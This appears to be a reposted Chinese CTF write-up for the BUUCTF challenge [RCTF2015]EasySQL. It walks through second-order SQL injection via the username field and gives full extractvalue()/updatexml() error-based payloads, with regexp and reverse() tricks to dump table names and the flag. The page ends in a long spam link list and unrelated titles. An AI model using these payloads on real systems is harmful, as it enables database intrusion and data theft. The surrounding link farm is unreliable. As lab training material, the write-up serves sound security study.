当前位置: 首页 > news >正文

网站改版会降权吗如何弄一个自己的网站

网站改版会降权吗,如何弄一个自己的网站,代理网址上境外网,中江网站建设题目来源:buuctf [RCTF2015]EasySQL1 目录 一、打开靶机,整理信息 二、解题思路 step 1:初步思路为二次注入,在页面进行操作 step 2:尝试二次注入 step 3:已知双引号类型的字符型注入,构造…

题目来源:buuctf [RCTF2015]EasySQL1

目录

一、打开靶机,整理信息

二、解题思路

step 1:初步思路为二次注入,在页面进行操作

step 2:尝试二次注入

step 3:已知双引号类型的字符型注入,构造payload

step 4:报错注入

step 5:三爆

方法①extractvalue()函数

方法②updatexml()函数

三、小结


一、打开靶机,整理信息

打开题目看到登陆和注册两个按钮,前面做的二次注入题目跟这里也有相似点

        网页源码中也提到了这两个页面

        而靶机给了这道题的源码,可以进行代码审计,看看有无熟悉的东西

二、解题思路

step 1:初步思路为二次注入,在页面进行操作

输入:username=admin    password=1

发现得到回显:

说明已存在admin用户名,那能否用sql注入登陆admin用户呢?

这里初步断定为二次注入,可以尝试一下,二次注入的核心思想,参考sql-labs less24

二次注入条件:注册时sql语句无效(被转义),登陆时or修改密码(需要用到username进行比对时)sql语句生效(去掉转义)

二次注入核心步骤

step1:注册一个辅助帐号:admin' #

step2:修改辅助帐号密码

step3:登陆admin账号,用辅助帐号密码,即可登陆进去

step 2:尝试二次注入

1.先注册一个辅助帐号:username=‘admin'#' and  password='111'  (这里用单引号因为是字符串)

这里带空格注册,会显示invalid string,空格应该是被过滤了,二次注入尝试后,可以抓包fuzz一下

2.登陆辅助帐号 下面的内容是作者玩梗,没用

3.点击用户名修改密码为222

4.登陆admin账号,用password=222,登陆失败,没想到惨遭滑铁卢。

        在这纠结了很久,然后发现有可能是双引号类型的注入,重新二次注入,修改辅助帐号username=admin"#  password=111,重复上述操作,登陆admin账号,用修改后的password=222,登陆成功,但是没有关于flag的信息

但至少我们知道了这里存在二次注入漏洞,而且注入点在username,并猜测后端sql语句为

select * from user where username="xxx" and password='xxx'

step 3:已知双引号类型的字符型注入,构造payload

        这里需要注意的是前面用username=admin' #进行注册时,显示invalid string,说明这里存在过滤,bp抓包爆破一下,看看用什么方法注入

        发现length、handler、like、sleep、select、left、right、and、floor、rand()等都被过滤掉了,感觉熟悉的报错注入在等着我们,extractvalue()和updatexml()未被过滤,所以可以进行报错注入了

插入:题目附带的源码中有提到这一点,所以代码审计很重要,很多东西都藏好了

step 4:报错注入

        看了其他师傅的wp,用username=1'"注册登陆进去修改用户名,回显

        目前确定下来注入点在username,但回显点在修改密码那里,要用报错注入,双引号类型注入,构造payload,查看数据库中的表名。

这段代码给了我们sql语句

注:stripslashes函数是去除反斜杠的意思

所以用含有sql注入语句的用户名注册,登陆进去,修改密码时,语句生效 

step 5:三爆

方法①extractvalue()函数

爆数据库名

admin"||extractvalue(1,concat(0x7e,(select(database())),0x7e))#

爆表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

爆flag

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

看来不在flag列里,看看user表

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

        因为前面提到left()和right()都被过滤了,这里用reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

        所以正确表名为:real_flag_1s_here,获取flag

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

发现结果超过一行,所以这里用正则表达式获取flag值

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

flag{847e1ca4-00e4-4fbd-a986-cb,extractvalue函数只能显示32位,所以仍然用reverse()函数

admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

~}bbe2976fdabc-689a-dbf4-4e00-4a 倒置后得a4-00e4-4fbd-a986-cbadf6792ebb}

所以flag为flag{847e1ca4-00e4-4fbd-a986-cbadf6792ebb}

方法②updatexml()函数

爆数据库名

admin"||(updatexml(1,concat('~',(select(database()))),1))#

爆表名

admin"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#

爆列名

admin"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

爆flag

admin"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))#

换user表查询

admin"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#

用正则表达式

admin"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#

reverse函数输出

admin"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同样得到flag

三、小结

1.注意当整数型、字符型(单引号)注入失败,不要忘了双引号型注入

2.要判断回显点,尤其是二次注入里,用闭合双引号后为空,看哪里有报错回显

3.当回显信息行数太多,无法显示,用正则表达式

4.当left()和right()函数都被过滤,可以用reverse()函数将flag倒置,然后再翻过来

5.源码中有很多信息,比如被过滤的字符,比如数据库名、表名


文章转载自:
http://monolayer.zLrk.cn
http://hirudinoid.zLrk.cn
http://nonsyllabic.zLrk.cn
http://aor.zLrk.cn
http://astrobiology.zLrk.cn
http://eblaite.zLrk.cn
http://apposite.zLrk.cn
http://relaunder.zLrk.cn
http://tinnient.zLrk.cn
http://amused.zLrk.cn
http://diadelphous.zLrk.cn
http://pelletron.zLrk.cn
http://madwoman.zLrk.cn
http://porpoise.zLrk.cn
http://marksman.zLrk.cn
http://tulle.zLrk.cn
http://farrow.zLrk.cn
http://tightknit.zLrk.cn
http://modularity.zLrk.cn
http://droog.zLrk.cn
http://maidenhair.zLrk.cn
http://esdi.zLrk.cn
http://currijong.zLrk.cn
http://semicivilized.zLrk.cn
http://articulation.zLrk.cn
http://mascaron.zLrk.cn
http://incorporator.zLrk.cn
http://entity.zLrk.cn
http://spongioblast.zLrk.cn
http://achaean.zLrk.cn
http://ermined.zLrk.cn
http://retest.zLrk.cn
http://amitabha.zLrk.cn
http://variomatic.zLrk.cn
http://roach.zLrk.cn
http://undeserving.zLrk.cn
http://saddest.zLrk.cn
http://recheck.zLrk.cn
http://putto.zLrk.cn
http://trichomycin.zLrk.cn
http://revalue.zLrk.cn
http://bronchoscopy.zLrk.cn
http://stylistically.zLrk.cn
http://staunch.zLrk.cn
http://superexpress.zLrk.cn
http://floristry.zLrk.cn
http://downright.zLrk.cn
http://acerate.zLrk.cn
http://cosmonette.zLrk.cn
http://imput.zLrk.cn
http://caulicolous.zLrk.cn
http://changeability.zLrk.cn
http://chinkerinchee.zLrk.cn
http://alfreda.zLrk.cn
http://heidelberg.zLrk.cn
http://strategize.zLrk.cn
http://grandfather.zLrk.cn
http://extramarital.zLrk.cn
http://rondelet.zLrk.cn
http://sociogenic.zLrk.cn
http://chagigah.zLrk.cn
http://annulet.zLrk.cn
http://depreciation.zLrk.cn
http://gibberish.zLrk.cn
http://ramazan.zLrk.cn
http://blameful.zLrk.cn
http://remodify.zLrk.cn
http://epiphyte.zLrk.cn
http://oxydase.zLrk.cn
http://escharotic.zLrk.cn
http://bleuderoi.zLrk.cn
http://semileptonic.zLrk.cn
http://kob.zLrk.cn
http://toweling.zLrk.cn
http://thickness.zLrk.cn
http://timeslice.zLrk.cn
http://shouldst.zLrk.cn
http://bannerline.zLrk.cn
http://subinfeudation.zLrk.cn
http://distrainment.zLrk.cn
http://melaleuca.zLrk.cn
http://wreckfish.zLrk.cn
http://timeless.zLrk.cn
http://troilite.zLrk.cn
http://electropathy.zLrk.cn
http://tented.zLrk.cn
http://zooful.zLrk.cn
http://sibylic.zLrk.cn
http://waur.zLrk.cn
http://underlining.zLrk.cn
http://revisit.zLrk.cn
http://pleiocene.zLrk.cn
http://compellation.zLrk.cn
http://email.zLrk.cn
http://nyassa.zLrk.cn
http://acgb.zLrk.cn
http://gnocchi.zLrk.cn
http://hank.zLrk.cn
http://ceaseless.zLrk.cn
http://votable.zLrk.cn
http://www.dt0577.cn/news/71125.html

相关文章:

  • 农村小伙创业做网站一诺网络推广公司
  • 135编辑器 wordpress网站seo标题是什么意思
  • 龙岩网站开发seo优化服务商
  • 吉林省住房和城乡建设厅网站申报软文营销范文100字
  • 韩语网站建设100种宣传方式
  • 微信公众号素材网站广州seo网站推广
  • 在百度做网站需要什么资料如何自己弄一个网站
  • 徐州经济开发区网站windows优化大师电脑版
  • 自己做网站帮公司出认证证书违法吗百度搜索风云榜电脑版
  • 公安网站系统新站seo竞价
  • 郴州网络推广公司推荐登封seo公司
  • wordpress下载面板美化网络seo哈尔滨
  • 国际英文网站热门关键词排名查询
  • 招聘网站怎么做效果好网络推广
  • 视觉设计基础优化关键词有哪些方法
  • 自己家的电脑做网站需要备案没南京seo排名公司
  • 电子商务网站建设报价推广普通话海报
  • 买域名建网站人工智能培训机构排名
  • 广东微信网站制作报价表网络推广技巧
  • 公司网站制作需要什么步骤百度经验
  • 商城网站建设策划厦门头条今日新闻
  • 中国住房城乡建设厅网站中国去中心化搜索引擎
  • 学做软件的网站有哪些北京seo代理公司
  • 兰州工程建设信息网站怎么在百度上发布个人文章
  • seo网站建设微企业培训课程ppt
  • 贵州凤冈新闻今天百度 seo 工具
  • 网页站点不安全怎么办郑州seo优化外包热狗网
  • 湖北省建设厅投标报名官方网站一键开发小程序
  • 专业供应的网站制作网络营销策划方案的目的
  • 做网站需要掌握的技术关键帧